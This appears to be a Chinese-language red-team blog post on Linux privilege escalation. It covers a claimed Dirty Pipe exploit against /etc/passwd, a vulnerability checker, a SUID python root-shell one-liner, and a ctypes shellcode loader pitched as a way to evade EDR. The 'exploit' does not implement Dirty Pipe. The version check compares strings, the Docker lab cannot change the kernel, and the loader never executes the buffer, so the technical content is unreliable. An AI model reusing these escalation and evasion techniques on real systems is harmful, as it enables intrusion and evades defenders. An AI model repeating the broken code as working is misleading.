一、从权限提升的基础说起
权限提升技术,简单来说,就是攻击者在已经获取某个低权限账户的前提下,通过漏洞或错误配置,将权限提升至更高层级,最终获得目标系统的完全控制权。在实际攻击中,权限提升往往是横向移动、持久化攻击,以及深度渗透的关键一步。
权限提升的实现通常有以下两种方式:
- 纵向权限提升:从低权限用户提升到更高权限(如从普通用户到管理员)。
- 横向权限提升:利用同等权限的其他用户凭据,扩展到更多账户和系统。
接下来,我们通过案例与技术剖析,逐步揭开权限提升技术的攻防细节。
---
二、内核提权漏洞的实战解读
理解漏洞:经典 Dirty Pipe 漏洞 (CVE-2022-0847)
Dirty Pipe 是 Linux 内核中一个非常有杀伤力的提权漏洞,影响多个版本的 Linux 系统。它允许非特权用户通过管道直接覆盖文件的内容,从而实现权限提升。
漏洞的原因是 Linux 内核在处理管道缓存时存在边界检查缺陷。攻击者可以通过特定的写入请求,修改文件的数据,即使文件是只读的。
环境搭建
- 目标系统:任意受漏洞影响的 Ubuntu/Debian 系统(Linux Kernel 5.8+)。
- 攻击工具:任意支持编译 C/C++ 的环境。
示例环境可以使用 Docker 快速搭建:
<pre><code class="language-bash"># 使用受漏洞影响的镜像 docker run --rm -it --name vuln-lab ubuntu:22.04 bash
更新内核到受影响版本
apt update && apt install -y linux-image-5.10.0</code></pre>
漏洞利用代码
以下是一个 Dirty Pipe 漏洞的 POC,可以直接编译和运行:
<pre><code class="language-c">#include <fcntl.h>
include <stdio.h>
include <stdlib.h>
include <string.h>
include <sys/stat.h>
include <sys/types.h>
include <unistd.h>
int main(int argc, char argv[]) { const char file = "/etc/passwd"; // 修改目标文件 int fd = open(file, O_RDONLY); // 以只读方式打开文件 if (fd < 0) { perror("无法打开文件"); return 1; }
// 创建管道 int pipefd[2]; if (pipe(pipefd)) { perror("管道创建失败"); return 1; }
// 向管道写入数据 write(pipefd[1], "BYPASS", 6);
// 使用漏洞覆盖文件内容 loff_t offset = 4; // 偏移设置 splice(fd, &offset, pipefd[1], NULL, 1, 0);
printf("覆盖完成,检查目标文件是否被修改!\n"); return 0; }</code></pre>
编译运行:
<pre><code class="language-bash">gcc dirty_pipe_poc.c -o dirty_poc ./dirty_poc</code></pre>
如果漏洞利用成功,攻击者可以覆盖 /etc/passwd 文件,加入一个高权限用户,从而实现提权。
---
三、权限提升的自动化工具开发
虽然单一漏洞的利用有它的学习价值,但在真实红队场景中,我们往往需要一个自动化工具来高效识别和利用提权漏洞。以下是用 Python 开发的一个简化提权检测脚本。
脚本实现
该脚本会自动检查目标系统是否符合 Dirty Pipe 的利用条件:
<pre><code class="language-python">import os import platform import subprocess
def check_kernel_version(): """检查内核版本""" kernel = platform.release() print(f"当前的内核版本为: {kernel}") if kernel >= "5.8" and kernel <= "5.16.11": print("[+] 系统可能受 Dirty Pipe 漏洞影响!") return True else: print("[-] 系统不受漏洞影响。") return False
def main(): print("正在检测权限提升漏洞...\n") if check_kernel_version(): print("[*] 请尝试利用 CVE-2022-0847 进行提权。") else: print("[!] 无法检测到可利用的提权漏洞。")
if __name__ == "__main__": main()</code></pre>
运行脚本:
<pre><code class="language-bash">python3 privilege_escalation_checker.py</code></pre>

脚本会输出检测结果,并为漏洞利用提供参考。
---
四、配置错误的深度挖掘
除了漏洞,上线后发现目标系统存在错误配置,也是一种常见的提权手段。以下是几个经典的配置错误场景:
SUID 程序利用

SUID 是 Linux 权限管理的一种技术,当某个程序被设置了 SUID 位后,任何用户执行该程序时都会以程序属主的权限运行。
查找易被利用的 SUID 文件
<pre><code class="language-bash">find / -perm -4000 2>/dev/null</code></pre>
如果发现以下可疑文件,就可以尝试利用:
/bin/bash/usr/bin/perl/usr/bin/python
利用 SUID 提权
假设 /usr/bin/python 被错误配置为 SUID,可通过以下命令直接提权:
<pre><code class="language-bash">/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'</code></pre>
这将直接生成一个拥有 root 权限的 Shell。
---
五、如何绕过常见检测工具
绕过 EDR 的策略
- 内存加载:使用 Python 的
ctypes或CFFI加载恶意代码到内存中。 - 代码混淆:通过自定义加密算法,避免被静态分析工具识别。
- 流量伪装:使用 HTTPS 或 DNS 隧道隐藏 C2 通信流量。
以下是一个简单的 Shellcode 内存加载示例:

<pre><code class="language-python">import ctypes
shellcode = b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" shellcode_func = ctypes.CFUNCTYPE(None) shellcode_buffer = ctypes.create_string_buffer(shellcode) ctypes.cast(shellcode_buffer, ctypes.c_void_p) shellcode_func()</code></pre>
只需将恶意 Shellcode 写入内存,就可以有效规避静态检测。
---
六、红队中的经验之谈
- 权限提升不是最终目标:提权只是通往目标的一步,切忌浪费过多时间在权限提升上。
- 环境枚举的重要性:在上线后充分枚举目标系统,错误配置和漏洞往往隐藏在细节中。
- 定制化工具开发:现成工具固然强大,但使用自写工具能更好地隐藏攻击痕迹。
---
七、总结
权限提升是红队行动中的核心环节。无论是通过内核漏洞,还是利用系统配置错误,攻击者总能找到提升权限的方法。希望这篇文章在结合实战的基础上,给大家提供了可复现的技术与思路。